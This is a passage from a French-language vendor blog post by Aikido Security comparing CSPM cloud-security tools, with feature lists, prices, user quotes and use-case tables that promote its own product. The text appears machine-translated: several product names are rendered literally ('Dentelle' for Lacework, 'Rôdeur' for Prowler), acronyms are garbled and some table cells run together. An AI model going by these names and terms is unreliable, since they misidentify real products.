    "Nous avons remplacé trois outils par Aikido - c'est rapide, clair et convivial pour les développeurs. - CTO sur G2

    ‍

    2. Aqua Security

    Aqua combine le CSPM avec la protection de l'exécution à travers les conteneurs, le serverless et les VM dans le cloud. Soutenue par des outils open-source tels que Trivy et CloudSploit, elle est idéale pour les équipes DevSecOps.

    Caractéristiques principales :

    • Visibilité de la posture en temps réel
    • Scanner IaC et sécurité des conteneurs
    • Prise en charge multi-cloud avec application automatisée des politiques
    • Intégration avec les systèmes CI/CD et de billetterie
    • Cartographie de la conformité (CIS, PCI, ISO)

    Le meilleur pour : Les équipes qui exécutent des applications cloud-natives et Kubernetes en production.

    Prix : Options gratuites disponibles pour les logiciels libres ; tarifs d'entreprise sur demande.

    "La visibilité du CSPM est fantastique - elle s'intègre bien à nos pipelines de CI. - DevSecOps Lead sur Reddit

    3. BMC Helix Cloud Security

    Cet outil, qui fait partie de la suite BMC Helix, automatise la conformité et la sécurité du cloud par le biais d'une gouvernance axée sur les politiques dans AWS, Azure et GCP.

    Caractéristiques principales :

    • Auto-remédiation des infractions
    • Politiques préétablies alignées sur les principaux cadres de référence
    • Tableaux de bord de conformité en continu
    • Intégration étroite avec BMC ITSM
    • Rapports unifiés sur la sécurité multicloud

    Idéal pour : Les entreprises qui ont besoin d'une conformité automatisée et d'une intégration étroite des flux de travail.

    Prix : Axé sur l'entreprise, contacter pour plus de détails.

    "Très peu d'efforts pour l'intégrer - fournit une vue d'ensemble de la situation dans les nuages. - Responsable des opérations informatiques sur G2

    ‍

    4. Check Point CloudGuard

    CloudGuard est l'offre CNAPP de Check Point avec CSPM intégré. Elle associe l'analyse de la configuration à la détection des menaces à l'aide de son moteur d'intelligence ThreatCloud.

    Caractéristiques principales :

    • Plus de 400 politiques de conformité prêtes à l'emploi
    • CloudBots pour une remédiation automatisée
    • Analyse du chemin d'attaque et de l'exposition
    • Détection des menaces avec protection pare-feu intégrée
    • Tableau de bord multi-cloud

    Idéal pour : Les entreprises qui utilisent les outils de pare-feu/endpoint de Check Point et qui recherchent une sécurité unifiée pour le cloud et le réseau.

    Prix : Des plans échelonnés sont disponibles auprès des représentants de Check Point.

    "L'application des politiques dans tous les nuages en un seul endroit. J'aime aussi les visualisations. - Cloud Security Architect sur Reddit

    ‍

    5. CloudCheckr (Spot by NetApp)

    CloudCheckr combine l'optimisation des coûts et le CSPM en une seule plateforme. Il est largement utilisé par les MSP et les équipes SecOps des entreprises pour la gouvernance du cloud.

    Caractéristiques principales :

    • Plus de 500 contrôles des meilleures pratiques
    • Fiches de conformité détaillées
    • Moteur de politique personnalisé
    • Alertes en temps réel et rapports automatisés
    • Gestion des coûts + informations sur la sécurité

    Le meilleur pour : Les MSP et les équipes qui recherchent un équilibre entre la sécurité et l'optimisation des dépenses liées au cloud.

    Prix : Basé sur l'utilisation du cloud et les dépenses ; contacter le service des ventes.

    "La sécurité et la visibilité des coûts dans un seul outil - un énorme gain de temps. - Responsable SecOps sur G2

    6. CloudSploit

    CloudSploit, qui était à l'origine un projet open-source autonome, est aujourd'hui géré par Aqua Security. Il permet d'analyser sans agent les environnements en nuage à la recherche de configurations erronées.

    Caractéristiques principales :

    • Source ouverte et communauté d'acteurs
    • Analyse AWS, Azure, GCP et OCI
    • Correspondance entre les résultats et les critères de référence de l'ECI
    • Sorties JSON/CSV pour une intégration facile
    • Support CLI et CI/CD

    Idéal pour : Les équipes DevOps qui ont besoin d'un scanner simple et scriptable pour valider la posture du cloud.

    Prix : Gratuit (open-source) ; version SaaS disponible via Aqua.

    "Léger, rapide et étonnamment profond pour un outil gratuit. - Ingénieur DevOps sur Reddit

    ‍

    7. CrowdStrike Falcon Cloud Security

    Falcon Cloud Security associe le CSPM à la détection des menaces en cours d'exécution grâce à la technologie EDR et XDR de CrowdStrike, leader sur le marché.

    Caractéristiques principales :

    • CSPM unifié et protection de la charge de travail
    • Détection des menaces en temps réel grâce à l'IA
    • Analyse des risques liés à l'identité (CIEM)
    • Évaluation de la posture dans les environnements en nuage et les environnements de conteneurs
    • Intégration avec la plateforme Falcon de CrowdStrike

    Idéal pour : Les équipes de sécurité qui cherchent à combiner la détection des erreurs de configuration avec la prévention des brèches.

    Prix : Entreprise ; contacter CrowdStrike.

    "Enfin un CSPM doté de réelles capacités de détection, et non d'une simple liste de contrôle. - Analyste de la sécurité sur X

    8. Ermétique

    Ermetic est une plateforme de sécurité en nuage axée sur l'identité qui combine CSPM et de puissantes capacités CIEM sur AWS, Azure et GCP.

    Caractéristiques principales :

    • Cartographie des risques liés à l'identité dans le nuage et des voies d'attaque
    • Automatisation de la politique du moindre privilège
    • Surveillance continue des erreurs de configuration de l'informatique en nuage
    • Rapports de conformité détaillés
    • Cartographie visuelle des relations entre les actifs

    Idéal pour : Les entreprises dotées d'architectures d'identité complexes dans des environnements multicloud.

    Prix : SaaS d'entreprise, adapté au volume d'actifs.

    "Nous avons découvert des permissions toxiques dont nous ne soupçonnions pas l'existence - Ermetic a réussi à le faire. - Architecte Cloud sur Reddit

    9. Fugue (fait maintenant partie de Snyk Cloud)

    Fugue se concentre sur la détection des politiques en tant que code et des dérives. Il fait désormais partie de Snyk Cloud, intégrant l'analyse IaC avec CSPM pour un flux DevSecOps complet.

    Caractéristiques principales :

    • Application de la politique en tant que code basée sur la réglementation
    • Détection des dérives entre l'IaC et le nuage déployé
    • Visualisation des ressources et des relations dans le nuage
    • Cadres de conformité préétablis
    • Intégration CI/CD et retour d'information sur les relations publiques

    Idéal pour : Les organisations centrées sur les développeurs qui adoptent GitOps ou des flux de travail basés sur des règles en tant que code.

    Prix : Inclus dans les plans Snyk Cloud.

    "Nous détectons les erreurs de configuration avant qu'elles ne soient mises en service. C'est comme un filtre pour l'infrastructure en nuage". - Ingénieur de plateforme sur G2

    ‍

    10. JupiterOne

    JupiterOne propose un CSPM via une approche de gestion des actifs basée sur les graphes. Il construit un graphe de connaissances de tous les actifs et relations du cloud afin d'identifier les risques.

    Caractéristiques principales :

    • Moteur de requête basé sur les graphes (J1QL)
    • Découverte des actifs dans les nuages, les SaaS et les dépôts de code
    • Détection des erreurs de configuration en fonction des relations
    • Packs de conformité intégrés
    • Un volet communautaire gratuit est disponible

    Idéal pour : Les équipes de sécurité qui souhaitent bénéficier d'une visibilité totale et d'une souplesse d'interrogation dans des environnements étendus.

    Prix : Un niveau gratuit est disponible ; les plans payants s'adaptent au volume d'actifs.

    "JupiterOne a permis à notre équipe de bénéficier d'une visibilité sur les actifs. J1QL est puissant. - Responsable SecOps sur G2

    11. Dentelle

    Lacework est une plateforme CNAPP qui offre un CSPM ainsi qu'une détection des anomalies et une protection de la charge de travail. Sa plate-forme de données Polygraph cartographie les comportements dans votre nuage pour détecter les menaces et les erreurs de configuration.

    Caractéristiques principales :

    • Surveillance continue de la configuration sur AWS, Azure, GCP
    • Détection d'anomalies à l'aide d'un ML et d'une cartographie visuelle de l'histoire
    • Protection des charges de travail sans agent (conteneurs, VM)
    • Évaluations de la conformité et rapports automatisés
    • API et intégrations adaptées à DevOps

    Idéal pour : Les équipes qui souhaitent un CSPM combiné à la détection des menaces et à une fatigue minimale des alertes.

    Prix : Prix pour les entreprises ; contacter Lacework.

    "Le polygraphe visuel à lui seul en vaut la peine - il relie les points entre les résultats mieux que n'importe quel autre outil que nous avons essayé. - Ingénieur en sécurité sur Reddit

    12. Microsoft Defender for Cloud

    Microsoft Defender for Cloud est le CSPM intégré d'Azure, étendu avec des intégrations pour AWS et GCP. Il vous permet de gérer la posture, les contrôles de conformité et la détection des menaces dans un seul volet.

    Caractéristiques principales :

    • Secure Score pour l'évaluation de la posture dans le nuage
    • Détection des erreurs de configuration dans Azure, AWS et GCP
    • Intégration avec Microsoft Defender XDR et Sentinel SIEM
    • Remédiation en un clic et recommandations automatisées
    • Prise en charge intégrée des normes CIS, NIST et PCI-DSS

    Idéal pour : Les entreprises qui utilisent Azure pour la première fois et qui recherchent une gestion de la posture et une protection contre les menaces transparentes et natives.

    Prix : Niveau gratuit pour le CSPM ; plans payants pour la protection contre les menaces par ressource.

    "Nous suivons notre Secure Score chaque semaine au sein des équipes - c'est très efficace pour conduire des améliorations. - CISO sur G2

    ‍

    13. Prisma Cloud (Palo Alto Networks)

    Prisma Cloud est un CNAPP complet qui comprend un CSPM robuste, une analyse IaC et une sécurité de la charge de travail. Il couvre l'ensemble du cycle de vie, du code au nuage.

    Caractéristiques principales :

    • Surveillance en temps réel de l'état de l'informatique en nuage
    • Hiérarchisation des risques à l'aide de l'IA et du contexte des données
    • Infrastructure as Code et intégration CI/CD
    • Analyse de l'identité et de l'accès, visualisation du chemin d'attaque
    • Vastes paquets de conformité et de politiques

    Le meilleur pour : Les entreprises qui gèrent des environnements multi-cloud complexes et qui ont besoin d'une visibilité et d'une couverture approfondies.

    Prix : Plans modulaires ; axés sur l'entreprise.

    "Il a remplacé quatre outils pour nous - nous gérons tout, de la posture aux menaces d'exécution, en un seul endroit." - Responsable DevSecOps sur G2

    14. Rôdeur

    Prowler est un outil d'audit de sécurité open-source principalement axé sur AWS. Il vérifie votre infrastructure par rapport aux meilleures pratiques et aux cadres réglementaires.

    Caractéristiques principales :

    • Plus de 250 contrôles liés aux normes CIS, PCI, GDPR, HIPAA
    • Outil CLI AWS ciblé avec sortie JSON/HTML
    • Support multi-cloud en expansion (base Azure/GCP)
    • Intégration facile du pipeline CI/CD
    • Prowler Pro disponible pour les rapports SaaS

    Le meilleur pour : Les ingénieurs DevOps et les organisations fortement dépendantes d'AWS qui ont besoin d'une analyse open-source personnalisable.

    Prix : Gratuit (open-source) ; Prowler Pro est payant.

    "L'audit d'AWS est une méthode simple et efficace, indispensable à la mise en place d'une solution. - Ingénieur Cloud sur Reddit

    ‍

    15. Sonrai Security

    Sonrai combine le CSPM avec le CIEM et la sécurité des données, en mettant l'accent sur la gouvernance des identités dans le nuage et la prévention de l'exposition des données sensibles.

    Caractéristiques principales :

    • Analyse des risques liés aux relations d'identité et aux privilèges
    • Découverte de données sensibles dans le stockage en nuage
    • GPSC et audit de conformité
    • Automatisation de l'application du principe du moindre privilège
    • Support multicloud et hybride

    Idéal pour : Les entreprises qui se concentrent sur la gouvernance des identités, la conformité et la protection des données sensibles résidant dans le nuage.

    Prix : Enterprise SaaS ; contacter les ventes.

    "Sonrai a permis de déterminer facilement qui peut accéder à quoi et pourquoi - nos auditeurs l'adorent. - Responsable de la conformité de la sécurité sur G2

    16. Tenable Cloud Security (Accurics)

    Tenable Cloud Security (anciennement Accurics) se concentre sur l'analyse IaC, la détection des dérives et la gestion de la posture. Elle s'intègre bien dans les pipelines GitOps et DevSecOps.

    Caractéristiques principales :

    • Infrastructure en tant que balayage de codes et application de politiques
    • Détection des dérives entre le code et les ressources déployées
    • Détection des erreurs de configuration et suivi de la conformité
    • Remédiations IaC générées automatiquement (par exemple, Terraform)
    • Intégration avec Tenable.io et données de vulnérabilité

    Idéal pour : Les équipes DevOps qui ont besoin de contrôles de posture avant le déploiement et pendant l'exécution, liés à l'IaC.

    Prix : Fait partie de la plateforme Tenable ; tarification basée sur l'utilisation.

    "Un excellent complément aux outils Tenable pour les vulnérabilités - il permet également de contrôler les configurations dans les nuages. - SecOps Manager sur G2

    17. Zscaler Posture Control

    Zscaler Posture Control apporte le CSPM au Zero Trust Exchange de Zscaler. Il combine le contexte de la posture, de l'identité et de la vulnérabilité pour mettre en évidence les risques réels.

    Caractéristiques principales :

    • CSPM et CIEM unifiés
    • Corrélation des menaces entre les méconfigs, les identités et les charges de travail
    • Analyse continue pour AWS, Azure et GCP
    • Mise en œuvre et remédiation basées sur des politiques
    • Intégré à l'écosystème Zero Trust de Zscaler

    Idéal pour : Les clients de Zscaler à la recherche d'informations sur la posture native alignées sur les stratégies Zero Trust.

    Prix : Complément à la plateforme Zscaler ; axé sur l'entreprise.

    "Nous avons enfin obtenu une visibilité de la posture liée à notre modèle de confiance zéro." - Responsable de la sécurité des réseaux sur G2
    ‍

    Les meilleurs outils du CSPM pour les développeurs

    Besoins des développeurs : Un retour d'information rapide en CI/CD, des alertes peu bruyantes et des intégrations avec GitHub, Terraform ou des IDE.

    Critères clés :

    • Analyse de l'infrastructure en tant que code (IaC)
    • Interface utilisateur et API conviviales pour les développeurs
    • Compatibilité GitOps et CI/CD
    • Autofix ou conseils de remédiation exploitables
    • Une appropriation claire et un minimum de faux positifs

    Les meilleurs choix :

    • Sécurité Aikido: Configuration facile, autofixation basée sur l'IA et conçue pour les développeurs. S'intègre directement avec CI et GitHub.
    • Fugue (Snyk Cloud): Policy-as-code avec Regula ; idéal pour les équipes utilisant Terraform et GitOps.
    • Prisma Cloud: Numérisation complète du code dans le nuage et intégration de l'IDE.
    • Prowler: Outil CLI simple que les développeurs peuvent exécuter localement ou dans des pipelines.
    Les meilleurs outils du CSPM pour les développeurs
    Outil Scanner de l'IaC Intégration CI/CD Autofix / Dev UX Meilleur pour
    Sécurité de l'aïkido✅ Oui✅ GitHub, CIAI AutofixÉquipes de développeurs
    Fugue (Snyk Cloud)✅ Politiques de Regula✅ Terraform/GitOps❄️ Flux de travail des développeursUtilisateurs IaC + GitOps
    Prisma Cloud✅ Pleine pile✅ IDE/CI/CD✅ Intégrations IDEOrganismes "code-to-cloud
    Rôdeur✅ AWS-native✅ Pipelines CLI❄️ ManuelLes développeurs soucieux de la sécurité

    Les meilleurs outils CSPM pour les entreprises

    Besoins de l'entreprise : Visibilité multi-cloud, rapports de conformité, accès basé sur les rôles et intégration des flux de travail.

    Critères clés :

    • Prise en charge multi-comptes et multi-cloud
    • Cadres de conformité intégrés
    • Contrôle d'accès basé sur les rôles (RBAC)
    • Intégrations SIEM/ITSM
    • Tarification évolutive et soutien aux fournisseurs

    Les meilleurs choix :

    • Prisma Cloud: Couvre la posture, l'exécution et la conformité à l'échelle.
    • Check Point CloudGuard: Gouvernance multi-cloud et application approfondie des politiques.
    • Microsoft Defender for Cloud: Couverture native d'Azure et d'AWS/GCP.
    • Ermetic: CIEM avancé et gouvernance pour les environnements complexes.
    Les meilleurs outils CSPM pour les entreprises
    Outil Multi-cloud Rapport de conformité RBAC / Workflow Meilleur pour
    Prisma Cloud✅ Oui✅ Très large✅ Basé sur les rôlesOrganisations à l'échelle de l'entreprise
    Check Point CloudGuard✅ Oui✅ Politiques profondes✅ IntégréGouvernance multi-cloud
    Microsoft Defender pour l'informatique en nuage✅ Azure + AWS/GCP✅ Native Azure✅ IntégréEntreprises centrées sur Azure
    Ermetic✅ Oui✅ Gouvernance✅ Contrôles CIEMEnvironnements complexes

    ‍

    Les meilleurs outils CSPM pour les startups

    Besoins des entreprises en phase de démarrage : Abordabilité, facilité d'utilisation, déploiement rapide et aide à la conformité de base.

    Critères clés :

    • Plans gratuits ou abordables
    • Facilité d'accueil et d'utilisation
    • L'état de préparation SOC 2/ISO prêt à l'emploi
    • L'accent mis sur les développeurs
    • Fonctionnalités tout-en-un

    Les meilleurs choix :

    • Sécurité Aikido: Niveau gratuit, autofixation par l'IA et centré sur le développement.
    • CloudSploit: Gratuit, open-source et facile à intégrer.
    • JupiterOne: niveau communautaire gratuit et requêtes simples sur les risques basés sur les actifs.
    • Prowler: Scanner AWS gratuit piloté par CLI avec prise en charge de la conformité.
    Les meilleurs outils CSPM pour les startups
    Outil Niveau gratuit Embarquement Modèles de conformité Meilleur pour
    Sécurité de l'aïkido✅ OuiFacile✅ SOC 2 / ISOStartups axées sur le développement
    CloudSploit✅ Open Source✅ Simple❄️ BasicÉquipes soucieuses de leur budget
    JupiterOne✅ Niveau communautaire✅ Requêtes sur les actifs❄️ PersonnaliséLes startups curieuses de la sécurité
    Rôdeur✅ CLI & Libre❄️ Manuel✅ Conformité AWSPetites équipes axées sur AWS

    Les meilleurs outils CSPM pour les environnements multi-cloud

    Besoins multi-cloud : Vue unifiée, application de politiques indépendante du cloud et intégrations transparentes.

    Critères clés :

    • Prise en charge complète de AWS, Azure, GCP (et plus encore)
    • Tableaux de bord unifiés
    • Rapports de conformité normalisés
    • Visibilité multi-comptes et multirégions
    • Des alertes cohérentes dans tous les nuages

    Les meilleurs choix :

    • Prisma Cloud: Véritablement agnostique avec des fonctionnalités approfondies.
    • JupiterOne: visibilité graphique des nuages et des services.
    • Check Point CloudGuard: Un moteur de politique pour tous les nuages.
    • CloudCheckr: Gouvernance et optimisation des coûts dans les nuages.
    Les meilleurs outils CSPM pour les environnements multi-cloud
    Outil Couverture des nuages Tableau de bord unifié Application de la politique Meilleur pour
    Prisma Cloud✅ AWS/Azure/GCP✅ Oui✅ Exécution en profondeurOrganismes agnostiques
    JupiterOne✅ Basé sur les graphes✅ Unifiés❄️ PersonnalisableVisibilité inter-cloud
    CloudGuardTous les nuages✅ Un moteur✅ CentraliséResponsables de la gouvernance
    CloudCheckr✅ Multi-cloud✅ Coûts et risques✅ NormaliséFinOps + SecOps

    Les meilleurs outils CSPM pour la protection de l'informatique en nuage

    Besoins en matière de protection de l'informatique en nuage : Combinez la posture avec la détection des menaces en cours d'exécution, l'analyse des anomalies et la prévention des brèches.

    Critères clés :

    • Détection des menaces (au-delà de l'analyse de la configuration)
    • Visibilité de la charge de travail en cours d'exécution
    • Aperçu du trafic sur le réseau en nuage
    • Corrélation et hiérarchisation des alertes
    • Remédiation ou blocage automatisé

    Les meilleurs choix :

    • Aikido Security: Combine la gestion de la posture dans le nuage, l'analyse de codes et l'analyse d'images de conteneurs en une seule plateforme.
    • CrowdStrike Falcon Cloud Security: CNAPP avec les meilleures informations sur les menaces.
    • La dentelle: Le moteur polygraphique détecte à la fois les méconnaissances et les anomalies.
    • Microsoft Defender for Cloud: Runtime + config threat visibility in Azure.
    • Check Point CloudGuard: Combine la posture avec la prévention active des menaces.
    Les meilleurs outils CSPM pour la protection de l'informatique en nuage
    Outil Détection des menaces Aperçu de l'exécution Remédiation Meilleur pour
    Sécurité de l'aïkido✅ Mauvaises configurations + menaces✅ Conteneurs + Cloud✅ Corrections de l'IACNAPP unifié
    CrowdStrike Falcon✅ Threat Intel✅ Temps d'exécution + Identité✅ BlocagePrévention des brèches dans l'informatique dématérialisée
    Dentelle✅ Anomalie + Config✅ Moteur polygraphique❄️ AlerteÉquipes centrées sur les menaces
    Defender pour l'informatique en nuage✅ Config + Runtime✅ Azure native✅ IntégréUtilisateurs Hybrid Azure
    CloudGuard✅ Blocage actif✅ Réseau + Infra✅ Auto RemediationMenace + posture en un

    Les meilleurs outils CSPM pour AWS

    Besoins centrés sur AWS : Couverture complète des services, intégration du Security Hub et alignement sur les critères de référence d'AWS.

    Critères clés :

    • Intégration poussée de l'API AWS
    • Prise en charge des cadres CIS/NIST d'AWS
    • Prise en charge des organisations multicomptes
    • Compatibilité avec les services natifs (par exemple, GuardDuty, Config)
    • Détection des erreurs de configuration à faible latence

    Les meilleurs choix :

    • Prowler: Léger, premier CLI et natif AWS.
    • CloudSploit: Facile à déployer et open-source.
    • Aqua Security: Prise en charge étendue d'AWS + conteneurs.
    • CloudCheckr: Aperçu de la conformité et des coûts d'AWS.
    Les meilleurs outils CSPM pour AWS
    Outil Intégration native AWS Cadres de conformité Support multi-comptes Meilleur pour
    RôdeurOui (CLI)✅ CIS, NIST✅ Orgs AWSAutomatisation de la sécurité AWS
    CloudSploit✅ Oui✅ Communauté CIS❄️ BasicÉquipes AWS à code source ouvert
    Aqua Security✅ Deep AWS✅ Conteneurs + Cloud✅ Multi-comptesMélange de sécurité et de DevOps
    CloudCheckr✅ Oui✅ Coût + sécurité✅ Enterprise AWSConformité + visibilité

    Les meilleurs outils CSPM pour Azure

    Besoins centrés sur Azure : Intégration transparente avec Microsoft Defender, Azure Policy et les services natifs.

    Critères clés :

    • Intégration native avec l'écosystème Azure
    • Prise en charge de Secure Score et Azure Security Benchmark
    • Couverture de Azure RBAC et de l'identité
    • Remédiation et alertes automatisées
    • Compatibilité avec Sentinel et Defender XDR

    Les meilleurs choix :

    • Microsoft Defender for Cloud: Couverture de la première partie avec un niveau gratuit.
    • Sécurité Aikido: Plateforme CSPM prête pour Azure avec analyse sans agent, alertes de mauvaise configuration en temps réel et remédiation basée sur l'IA.
    • Ermetic: Gestion avancée de la posture d'identité pour Azure.
    • Check Point CloudGuard: Visibilité multi-cloud, y compris Azure.
    • Tenable Cloud Security: IaC et runtime scanning pour Azure avec détection des dérives.
    Les meilleurs outils CSPM pour Azure
    Outil Intégration Azure Couverture de référence Soutien à la remédiation Meilleur pour
    Defender pour l'informatique en nuage✅ Natif✅ Score de sécurité✅ IntégréLes organisations qui se tournent d'abord vers Microsoft
    Sécurité de l'aïkido✅ Prêt pour AzureAlertes en temps réelRemédiation à l'IAÉquipes de développement axées sur Azure
    Ermetic✅ axée sur l'identitéAzure AD❄️ ManuelContrôle de l'identité dans le nuage
    CloudGuard✅ Azure + Multi-cloud✅ Politiques unifiées✅ Auto FixesSécurité inter-cloud
    Tenable Cloud Security✅ IaC + Runtime✅ Détection de la dérive✅ Alertes et correctionsÉquipes à posture hybride

    Conclusion

    La gestion de la posture de sécurité dans l'informatique dématérialisée n'est pas seulement une case à cocher pour les audits - c'est la différence entre un nuage sécurisé et évolutif et un nuage qui laisse fuir des données sensibles en raison de mauvaises configurations.

    Que vous soyez le fondateur d'une startup à la recherche d'un outil gratuit pour renforcer votre compte AWS ou le responsable de la sécurité d'une entreprise gérant des environnements multi-cloud, le bon outil CSPM peut vous faciliter grandement la tâche.

    Des outils open-source comme Prowler et CloudSploit aux plateformes d'entreprise comme Prisma Cloud et Check Point CloudGuard, le paysage est riche d'options puissantes.

    Si vous êtes à la recherche d'une plateforme pour les développeurs qui combine CSPM avec la sécurité du code et de l'exécution dans une interface unique, Aikido Security a tout ce qu'il vous faut.

    👉 Commencez votre essai gratuit dès aujourd'hui et voyez à quelle vitesse vous pouvez corriger votre posture en matière de cloud.

    ‍

    Guides
    27 mars 2025
    1
    Entreprise
    ProduitTarifsA proposCarrièresContactPartenariat avec nous
    Ressources
    DocsDocuments de l'API publiqueBase de données des vulnérabilitésBlogIntégrationsGlossaireDossier de presseAvis des clients
    Sécurité
    Trust CenterAperçu de la sécuritéModifier les préférences en matière de cookies
    Juridique
    Politique de confidentialitéPolitique en matière de cookiesConditions d'utilisationAccord-cadre de souscriptionAccord sur le traitement des données
    Cas d'utilisation
    ConformitéDAST &AMP; DASTSGAAGestion de la vulnérabilitéGénérer des SBOMSécurité de WordPressSécurisez votre codeL'aïkido pour Microsoft
    Industries
    HealthTechMedTechFinTechSecurityTechLegalTechHRTechPour les agencesPour les entreprisesPrivate Equity et sociétés de groupe
    Comparer
    vs Tous les vendeursvs Snykvs Wizvs Mendvs Orca Securityvs Veracodevs GitHub Advanced Securityvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
    Contact
    hello@aikido.dev
    LinkedInX
    S'abonner
    Restez informé(e) de toutes les mises à jour
    Nous n'en sommes pas encore là.
    👋🏻 Merci ! Vous avez été abonné.
    L'équipe Aikido
    Nous n'en sommes pas encore là.
    © 2025 Aikido Security BV | BE0792914919
    🇪🇺 Adresse du siège social : Coupure Rechts 88, 9000, Gand, Belgique
    🇪🇺 Adresse du bureau : Gebroeders van Eyckstraat 2, 9000, Gand, Belgique
    🇺🇸 Adresse du bureau : 95 Third St, 2nd Fl, San Francisco, CA 94103, US
    SOC 2
    Conforme
    ISO 27001
    Conforme